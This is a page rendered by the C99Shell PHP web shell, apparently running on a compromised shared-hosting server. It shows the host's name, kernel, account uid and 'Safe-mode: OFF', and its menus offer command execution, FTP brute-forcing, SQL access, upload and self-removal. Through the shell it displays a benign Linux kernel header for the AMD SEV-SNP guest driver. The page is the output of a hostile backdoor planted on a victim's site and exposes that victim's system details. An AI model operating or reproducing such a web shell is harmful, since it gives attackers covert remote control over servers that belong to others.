!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux acloudg.aryanict.com 4.18.0-513.9.1.lve.el8.x86_64 #1 SMP Mon Dec 4 15:01:22 UTC
2023 x86_64
 

uid=1095(katebhospital) gid=1098(katebhospital) groups=1098(katebhospital) 

Safe-mode: OFF (not secure)

/usr/include/linux/   drwxr-xr-x
Free 294.25 GB of 429.69 GB (68.48%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     sev-guest.h (2.25 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/* SPDX-License-Identifier: GPL-2.0-only WITH Linux-syscall-note */
/*
 * Userspace interface for AMD SEV and SNP guest driver.
 *
 * Copyright (C) 2021 Advanced Micro Devices, Inc.
 *
 * Author: Brijesh Singh <brijesh.singh@amd.com>
 *
 * SEV API specification is available at: https://developer.amd.com/sev/
 */

#ifndef __UAPI_LINUX_SEV_GUEST_H_
#define __UAPI_LINUX_SEV_GUEST_H_

#include <linux/types.h>

struct snp_report_req {
    /* user data that should be included in the report */
    __u8 user_data[64];

    /* The vmpl level to be included in the report */
    __u32 vmpl;

    /* Must be zero filled */
    __u8 rsvd[28];
};

struct snp_report_resp {
    /* response data, see SEV-SNP spec for the format */
    __u8 data[4000];
};

struct snp_derived_key_req {
    __u32 root_key_select;
    __u32 rsvd;
    __u64 guest_field_select;
    __u32 vmpl;
    __u32 guest_svn;
    __u64 tcb_version;
};

struct snp_derived_key_resp {
    /* response data, see SEV-SNP spec for the format */
    __u8 data[64];
};

struct snp_guest_request_ioctl {
    /* message version number (must be non-zero) */
    __u8 msg_version;

    /* Request and response structure address */
    __u64 req_data;
    __u64 resp_data;

    /* bits[63:32]: VMM error code, bits[31:0] firmware error code (see psp-sev.h) */
    union {
        __u64 exitinfo2;
        struct {
            __u32 fw_error;
            __u32 vmm_error;
        };
    };
};

struct snp_ext_report_req {
    struct snp_report_req data;

    /* where to copy the certificate blob */
    __u64 certs_address;

    /* length of the certificate blob */
    __u32 certs_len;
};

#define SNP_GUEST_REQ_IOC_TYPE    'S'

/* Get SNP attestation report */
#define SNP_GET_REPORT _IOWR(SNP_GUEST_REQ_IOC_TYPE, 0x0, struct snp_guest_request_ioctl)

/* Get a derived key from the root */
#define SNP_GET_DERIVED_KEY _IOWR(SNP_GUEST_REQ_IOC_TYPE, 0x1, struct snp_guest_request_ioctl)

/* Get SNP extended report as defined in the GHCB specification version 2. */
#define SNP_GET_EXT_REPORT _IOWR(SNP_GUEST_REQ_IOC_TYPE, 0x2, struct snp_guest_request_ioctl)

/* Guest message request EXIT_INFO_2 constants */
#define SNP_GUEST_FW_ERR_MASK        GENMASK_ULL(31, 0)
#define SNP_GUEST_VMM_ERR_SHIFT        32
#define SNP_GUEST_VMM_ERR(x)        (((u64)x) << SNP_GUEST_VMM_ERR_SHIFT)

#define SNP_GUEST_VMM_ERR_INVALID_LEN    1
#define SNP_GUEST_VMM_ERR_BUSY        2

#endif /* __UAPI_LINUX_SEV_GUEST_H_ */

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0978 ]--